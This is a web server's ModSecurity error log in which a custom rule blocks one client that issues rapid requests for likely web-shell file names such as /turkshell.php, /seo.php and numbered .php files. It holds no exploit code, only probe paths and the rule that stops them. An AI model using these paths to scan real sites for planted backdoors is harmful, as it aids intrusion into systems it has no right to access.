[Fri Apr 10 16:23:19.570654 2026] [:error] [pid 13101:tid 13148] [client 172.213.241.33:10849] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/11.php"] [unique_id "adizd98Ldw85818pj2piBgAAAI8"]
[Fri Apr 10 16:23:20.036196 2026] [:error] [pid 13101:tid 13143] [client 172.213.241.33:11078] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "adizeN8Ldw85818pj2piDgAAAIo"]
[Fri Apr 10 16:23:20.513165 2026] [:error] [pid 13100:tid 13119] [client 172.213.241.33:11154] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "adizeFzg-ZkZ0InWIP1TvAAAAQ4"]
[Fri Apr 10 16:23:20.977803 2026] [:error] [pid 13100:tid 13120] [client 172.213.241.33:11165] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "adizeFzg-ZkZ0InWIP1TvgAAAQ8"]
[Fri Apr 10 16:23:21.510364 2026] [:error] [pid 13100:tid 13111] [client 172.213.241.33:11103] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/p.php"] [unique_id "adizeVzg-ZkZ0InWIP1TwAAAAQY"]
[Fri Apr 10 16:23:21.975815 2026] [:error] [pid 3934:tid 3951] [client 172.213.241.33:10836] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "adizeYa41m-BS8mg82cGNAAAAMw"]
[Fri Apr 10 16:23:22.448131 2026] [:error] [pid 13189:tid 13208] [client 172.213.241.33:11161] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "adizepAxiJKPums3eBAUewAAAFA"]
[Fri Apr 10 16:23:22.930457 2026] [:error] [pid 3934:tid 3957] [client 172.213.241.33:10839] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "adizeoa41m-BS8mg82cGPAAAANI"]
[Fri Apr 10 16:23:23.390428 2026] [:error] [pid 3934:tid 3939] [client 172.213.241.33:11202] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/oij98gy.php"] [unique_id "adize4a41m-BS8mg82cGRAAAAMA"]
[Fri Apr 10 16:23:23.858828 2026] [:error] [pid 13102:tid 13179] [client 172.213.241.33:11242] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adize_9xLvjW2guI55YQswAAABM"]
[Fri Apr 10 16:23:24.319591 2026] [:error] [pid 13101:tid 13157] [client 172.213.241.33:10830] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adizfN8Ldw85818pj2piHQAAAJg"]
[Fri Apr 10 16:23:24.794706 2026] [:error] [pid 3934:tid 3957] [client 172.213.241.33:11077] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adizfIa41m-BS8mg82cGSwAAANI"]
[Fri Apr 10 16:23:25.258677 2026] [:error] [pid 3934:tid 3954] [client 172.213.241.33:10835] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bthil.php"] [unique_id "adizfYa41m-BS8mg82cGTgAAAM8"]
[Fri Apr 10 16:23:25.721037 2026] [:error] [pid 13101:tid 13152] [client 172.213.241.33:11196] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "adizfd8Ldw85818pj2piIAAAAJM"]
[Fri Apr 10 16:23:26.195231 2026] [:error] [pid 3934:tid 3960] [client 172.213.241.33:11236] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "adizfoa41m-BS8mg82cGUQAAANU"]
[Fri Apr 10 16:23:26.660843 2026] [:error] [pid 13189:tid 13209] [client 172.213.241.33:11080] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "adizfpAxiJKPums3eBAUkgAAAFE"]
[Fri Apr 10 16:23:27.126861 2026] [:error] [pid 3934:tid 3941] [client 172.213.241.33:11155] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/turkshell.php"] [unique_id "adizf4a41m-BS8mg82cGVQAAAMI"]
[Fri Apr 10 16:23:27.586220 2026] [:error] [pid 13189:tid 13199] [client 172.213.241.33:11213] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "adizf5AxiJKPums3eBAUlwAAAEc"]
[Fri Apr 10 16:23:28.071100 2026] [:error] [pid 13189:tid 13206] [client 172.213.241.33:11249] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "adizgJAxiJKPums3eBAUmQAAAE4"]
[Fri Apr 10 16:23:28.539604 2026] [:error] [pid 13189:tid 13202] [client 172.213.241.33:10822] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "adizgJAxiJKPums3eBAUngAAAEo"]
[Fri Apr 10 16:23:29.004112 2026] [:error] [pid 13189:tid 13198] [client 172.213.241.33:10827] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tea.php"] [unique_id "adizgZAxiJKPums3eBAUpAAAAEY"]
[Fri Apr 10 16:23:29.464467 2026] [:error] [pid 13189:tid 13210] [client 172.213.241.33:11206] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "adizgZAxiJKPums3eBAUqQAAAFI"]
[Fri Apr 10 16:23:29.928120 2026] [:error] [pid 13101:tid 13153] [client 172.213.241.33:10847] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "adizgd8Ldw85818pj2piLQAAAJQ"]
[Fri Apr 10 16:23:30.390876 2026] [:error] [pid 13100:tid 13126] [client 172.213.241.33:11238] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "adizglzg-ZkZ0InWIP1TywAAARU"]
[Fri Apr 10 16:23:30.855761 2026] [:error] [pid 13189:tid 13213] [client 172.213.241.33:11156] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/seo.php"] [unique_id "adizgpAxiJKPums3eBAUrAAAAFU"]
[Fri Apr 10 16:23:31.327258 2026] [:error] [pid 13100:tid 13106] [client 172.213.241.33:11216] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "adizg1zg-ZkZ0InWIP1TzgAAAQE"]
[Fri Apr 10 16:23:31.795112 2026] [:error] [pid 13189:tid 13198] [client 172.213.241.33:10862] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "adizg5AxiJKPums3eBAUsAAAAEY"]
[Fri Apr 10 16:23:32.261937 2026] [:error] [pid 3934:tid 3957] [client 172.213.241.33:11204] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "adizhIa41m-BS8mg82cGbgAAANI"]
[Fri Apr 10 16:23:32.722781 2026] [:error] [pid 3934:tid 3948] [client 172.213.241.33:11253] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/7.php"] [unique_id "adizhIa41m-BS8mg82cGcgAAAMk"]
[Fri Apr 10 16:23:33.188501 2026] [:error] [pid 3934:tid 3961] [client 172.213.241.33:11225] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "adizhYa41m-BS8mg82cGdwAAANY"]
[Fri Apr 10 16:23:33.647854 2026] [:error] [pid 3934:tid 3944] [client 172.213.241.33:11162] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "adizhYa41m-BS8mg82cGfAAAAMU"]
[Fri Apr 10 16:23:34.127791 2026] [:error] [pid 13100:tid 13121] [client 172.213.241.33:11111] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "adizhlzg-ZkZ0InWIP1T0wAAARA"]
[Fri Apr 10 16:23:34.588345 2026] [:error] [pid 13102:tid 13162] [client 172.213.241.33:11031] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/8.php"] [unique_id "adizhv9xLvjW2guI55YQ1QAAAAI"]
[Fri Apr 10 16:23:35.051871 2026] [:error] [pid 3934:tid 3941] [client 172.213.241.33:11072] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "adizh4a41m-BS8mg82cGhAAAAMI"]
[Fri Apr 10 16:23:35.518448 2026] [:error] [pid 3934:tid 3959] [client 172.213.241.33:11255] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "adizh4a41m-BS8mg82cGigAAANQ"]
[Fri Apr 10 16:23:36.002124 2026] [:error] [pid 13100:tid 13120] [client 172.213.241.33:11188] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "adiziFzg-ZkZ0InWIP1T1QAAAQ8"]
[Fri Apr 10 16:23:36.466516 2026] [:error] [pid 3934:tid 3941] [client 172.213.241.33:10850] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/1.php"] [unique_id "adiziIa41m-BS8mg82cGlQAAAMI"]
[Fri Apr 10 16:23:36.964730 2026] [:error] [pid 13189:tid 13206] [client 172.213.241.33:10879] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "adiziJAxiJKPums3eBAUvQAAAE4"]
[Fri Apr 10 16:23:37.429772 2026] [:error] [pid 13100:tid 13125] [client 172.213.241.33:11219] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "adiziVzg-ZkZ0InWIP1T2QAAARQ"]
[Fri Apr 10 16:23:37.890140 2026] [:error] [pid 13189:tid 13205] [client 172.213.241.33:10869] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "adiziZAxiJKPums3eBAUwgAAAE0"]
[Fri Apr 10 16:23:38.354226 2026] [:error] [pid 13102:tid 13171] [client 172.213.241.33:11226] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "adiziv9xLvjW2guI55YQ4wAAAAs"]
[Fri Apr 10 16:23:38.820707 2026] [:error] [pid 3934:tid 3962] [client 172.213.241.33:10819] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "adizioa41m-BS8mg82cGowAAANc"]
[Fri Apr 10 16:23:39.284729 2026] [:error] [pid 13189:tid 13210] [client 172.213.241.33:10871] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "adizi5AxiJKPums3eBAUywAAAFI"]
[Fri Apr 10 16:23:39.752927 2026] [:error] [pid 13189:tid 13194] [client 172.213.241.33:10865] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/3.php"] [unique_id "adizi5AxiJKPums3eBAU0QAAAEI"]
[Fri Apr 10 16:23:41.669469 2026] [:error] [pid 3934:tid 3955] [client 172.213.241.33:10876] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/4.php"] [unique_id "adizjYa41m-BS8mg82cGyAAAANA"]
[Fri Apr 10 16:23:42.611634 2026] [:error] [pid 13102:tid 13178] [client 172.213.241.33:11204] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/4.php"] [unique_id "adizjv9xLvjW2guI55YQ7AAAABI"]
[Fri Apr 10 16:23:43.548250 2026] [:error] [pid 13102:tid 13163] [client 172.213.241.33:10856] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/4.php"] [unique_id "adizj_9xLvjW2guI55YQ9AAAAAM"]
[Fri Apr 10 16:23:44.481437 2026] [:error] [pid 13100:tid 13106] [client 172.213.241.33:10836] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/4.php"] [unique_id "adizkFzg-ZkZ0InWIP1T5QAAAQE"]
[Fri Apr 10 16:23:44.744000 2026] [:error] [pid 3934:tid 3954] [client 172.213.241.33:11095] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "adizkIa41m-BS8mg82cG6AAAAM8"]
[Fri Apr 10 16:23:45.211924 2026] [:error] [pid 3934:tid 3961] [client 172.213.241.33:10859] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "adizkYa41m-BS8mg82cG8AAAANY"]
[Fri Apr 10 16:23:45.672957 2026] [:error] [pid 3934:tid 3954] [client 172.213.241.33:11173] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "adizkYa41m-BS8mg82cG9QAAAM8"]
[Fri Apr 10 16:23:46.144295 2026] [:error] [pid 3934:tid 3941] [client 172.213.241.33:11185] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/5.php"] [unique_id "adizkoa41m-BS8mg82cG-gAAAMI"]
[Fri Apr 10 16:23:46.605104 2026] [:error] [pid 13189:tid 13212] [client 172.213.241.33:11186] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "adizkpAxiJKPums3eBAU4QAAAFQ"]
[Fri Apr 10 16:23:47.085296 2026] [:error] [pid 13189:tid 13201] [client 172.213.241.33:11254] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "adizk5AxiJKPums3eBAU5wAAAEk"]
[Fri Apr 10 16:23:47.553286 2026] [:error] [pid 13102:tid 13181] [client 172.213.241.33:11147] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "adizk_9xLvjW2guI55YQ_QAAABU"]
[Fri Apr 10 16:23:48.015214 2026] [:error] [pid 3934:tid 3944] [client 172.213.241.33:11182] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/6.php"] [unique_id "adizlIa41m-BS8mg82cHBgAAAMU"]
[Fri Apr 10 16:23:48.476020 2026] [:error] [pid 13101:tid 13145] [client 172.213.241.33:11192] [client 172.213.241.33] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/9.php"] [unique_id "adizlN8Ldw85818pj2piRgAAAIw"]
